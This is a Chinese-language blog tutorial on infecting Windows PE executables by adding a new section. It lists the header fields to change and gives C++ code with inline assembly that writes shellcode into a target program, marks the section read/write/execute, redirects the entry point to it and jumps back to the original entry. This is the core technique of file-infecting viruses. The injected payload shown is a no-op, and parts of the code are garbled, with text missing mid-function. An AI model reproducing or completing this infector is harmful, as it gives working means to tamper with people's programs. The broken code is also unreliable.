通过添加新的节来感染PE文件

时间:2021-02-08 11:44:34

      所谓感染PE文件,其实就是修改PE文件,在不改变其原有功能的基础上,添加我们自己的代码,在这里我们将PE文件看作是一般的文件,只是在修改时,要根据PE文件结构

来进行update,否则的话就会破坏原有程序。这里我们不再对PE文件结构进行解释说明,请读者自行百度哈

     现在我们说下添加区段的一般步骤

     一.修改PE文件头部信息,需要修改的有IMAGE_FILE_HEADER的NumberOfSections(区块数目),IMAGE_OPTIONAL_HEADER的AddressOfEntryPoint,SizeOfImage,以

及SizeOfCode,还有就是记录下原有程序的程序入口地点

     二.申请一个IMAGE_SECTION_HEADER的内存模型,该IMAGE_SECTION_HEADER的SizeOfRawData,PointerToRawData,VirtualAddress,Characterics

和.Misc.VirtualSize

               2.1 我们会知道要写入汇编代码的长度dwShellLen(该变量的值我们会事先得到)

                      SizeOfRawData的值就是dwShellLen根据文件对齐值之后的值

                      PointerToRawData的值就是源程序的最后一个节点的PointerToRawData+最后一个节点的SizeOfRawData

                      VirtualAddress的值是源程序最后一个节点的VirtualAddress+最后一个节点的根据内存对齐后的区块大小

                      Characteristic的值改成可读,可写,可执行

                      Misc.VirtualSize的值就是不经过对齐的值(不经过文件对齐,不经过内存对齐,就是原有数据)               

     三.需要写入外壳的汇编代码,需要记下的就是将程序入口点修改成新节点的VirtualAddress。

               3.1在文件中写入外壳代码,需要注意的就是在PE程序中的偏移量是新节点的PointerToRawData

//////////////////////////////////////////////////////////////////////////////
// PE_HACK.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include
#include
//#include"..\PE_HACK\asm.asm"
using namespace std;
///////////////////////////////////////////////////////////////////////////////
///函数描述:根据所给路径检测文件是否是有效的PE文件
///入口参数:char*描述文件路径
///返回  值:是PE文件则返回true,否则返回false
////////////////////////////////////////////////////////////////////////////////
bool isPe(char* exePath)
{
	bool bIsPE=false;
	HANDLE hFile=CreateFile(exePath,
		GENERIC_ALL,
		FILE_SHARE_READ,
		NULL,
		OPEN_EXISTING,
		0,
		NULL);
	if(INVALID_HANDLE_VALUE==hFile)
	{
		MessageBox(NULL,"文件打开失败",0,0);
		return false;
	}
	::SetFilePointer(hFile,0,NULL,FILE_BEGIN);		
	IMAGE_DOS_HEADER DosHeader={0};//DOS文件头
	DWORD dwWrite;
	ReadFile(hFile,&DosHeader,sizeof(IMAGE_DOS_HEADER),&dwWrite,NULL);
	if(DosHeader.e_magic==IMAGE_DOS_SIGNATURE)
	{
		//ODS头部检测成功,开始检测FILE_HEADER
		IMAGE_NT_HEADERS NtHeader={0};
		//将文件指针移动到IMAGE_NT_HEADER的起始位置
		::SetFilePointer(hFile,DosHeader.e_lfanew,NULL,FILE_BEGIN);
		ReadFile(hFile,&NtHeader,sizeof(IMAGE_NT_HEADERS),&dwWrite,0);
		if(NtHeader.Signature==IMAGE_NT_SIGNATURE)
		{
			bIsPE=true;
		}
		else
		{
			bIsPE=false;
		}
	}
	else
	{
		bIsPE=false;
	}
	if(bIsPE)
	{

		CloseHandle(hFile);
		return true;
	}
	else
	{

		CloseHandle(hFile);
		return false;

	}
}
////////////////////////////////////////////////////////////////////////////////
///函数结束
////////////////////////////////////////////////////////////////////////////////

DWORD GetAlign(DWORD size,DWORD align)
{
	DWORD dwResult=0;
	if(sizee_lfanew);
	//记录下区块的数目
	WORD dwNumberOfSections=pNtHeader->FileHeader.NumberOfSections;
	IMAGE_SECTION_HEADER LastSection={0};
	int nCurNum=0;
	//记录下原来的OEP
	DWORD dwOldOEP=pNtHeader->OptionalHeader.AddressOfEntryPoint;
	DWORD dwWrite;
	SetFilePointer(hFile,pDosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS),0,0);	
	DWORD dwTextBase=0;
	while(nCurNumOptionalHeader.FileAlignment;
	//获得内存对齐值
	DWORD dwSectionAlign=pNtHeader->OptionalHeader.SectionAlignment;
	DWORD dwShellLen;
	goto shellend;
	 __asm  
    {      
shell:  PUSHAD  
			PUSHFD
			POPFD			                                  
       POPAD  
    } 
shellend:  
    char*   pShell;      
    BYTE    jmp = 0xE9;  
    __asm  
    {  
        LEA EAX,shell  
        MOV pShell,EAX;  
        LEA EBX,shellend  
        SUB EBX,EAX  
        MOV dwShellLen,EBX  
    }  
	//修改区块的属性
	SectionShell.Characteristics=IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_WRITE;
	//新区块在磁盘中的大小
	SectionShell.SizeOfRawData=GetAlign(dwShellLen,dwFileAlign);
	SectionShell.Misc.VirtualSize=dwShellLen;
	//对齐最后一个区段后的大小计算壳区段的虚拟地址
	memcpy(&SectionShell.Name,".try",4);
	SectionShell.VirtualAddress=LastSection.VirtualAddress+GetAlign(LastSection.Misc.VirtualSize,dwSectionAlign);
	SectionShell.PointerToRawData=LastSection.PointerToRawData+LastSection.SizeOfRawData;		
	dwNumberOfSections++;
	//区块数目加1
	pNtHeader->FileHeader.NumberOfSections=dwNumberOfSections;
	DWORD dwAfterSection=GetAlign(dwShellLen,dwFileAlign);
	//修改镜像大小
	pNtHeader->OptionalHeader.SizeOfImage+=dwAfterSection;
	pNtHeader->OptionalHeader.SizeOfCode+=dwAfterSection;
	//重新定位入口地址
	pNtHeader->OptionalHeader.AddressOfEntryPoint=SectionShell.VirtualAddress;	
	WriteFile(hFile,&SectionShell,sizeof(SectionShell),&dwWrite,NULL);
	//将外壳程序写入文件	
	SetFilePointer(hFile, SectionShell.PointerToRawData ,NULL,FILE_BEGIN);
	WriteFile(hFile,pShell,dwShellLen,&dwWrite,NULL);
	
	
	WriteFile(hFile,&jmp, sizeof(jmp),&dwWrite,NULL);
	 dwOldOEP=dwOldOEP-(SectionShell.VirtualAddress+dwShellLen)-5;  
	WriteFile(hFile,&dwOldOEP, sizeof(dwOldOEP),&dwWrite,NULL);
	CloseHandle(hFile);
}
///////////////////////////////////////////////////////////////////////////////
///函数结束
////////////////////////////////////////////////////////////////////////////////
int _tmain(int argc, _TCHAR* argv[])
{
	/*if(::IsDebuggerPresent())
	{
		MessageBox(NULL,"请终止调试",0,0);
		ExitProcess(0);
	}*/
	if(isPe("D:\\project\\tmp\\Debug\\tmp.exe"))
	{
		addNewSection("D:\\project\\tmp\\Debug\\tmp.exe",NULL);
	}
	else
	{
		MessageBox(NULL,"该文件并非PE文件",0,0);
	}
	return 0;
}	

        这里有一个需要记下的就是CreateFileMappingA函数的使用,倒数第二和第三个参数,就是文件映射对象的大小,一般最小值的大小不但应该是文件大小,还应该在此基

础上加上要外壳代码的大小,这样就行了,否则的话,就会出现不是有效的win32程序的错误

 PS:笔者是新手,大神路过就好,经过OD测试,已经成功,但是写入的汇编代码不能执行,还在学习,不要见笑,但是如果您的汇编代码是正确的话,应该是没问题的

主要注意的是:应该记下外壳代码的框架

goto shellEnd;

_asm

{

shellCode:

      pushad;

      pushfd;

      popfd;

       popad;

}

shellEnd:

char*        pShell;

DWORD  dwShellLen;

_asm

{

       LEA  eax,shellCode

       MOV pShell,eax;

       LEA  EBX,shellEnd;

       SUB EBX,EAX;

       MOV  dwShellLen,EBX;  

}

这样汇编代码的首地址和汇编代码的长度就被放进了pShell,dwShellLen

还有就是调回原有的起始地点,原有入口地点

dwOldOEP=dwOldOEP-(SectionShell.VirtualAddress+dwShellLen)-5;(5是jmp指令的长度)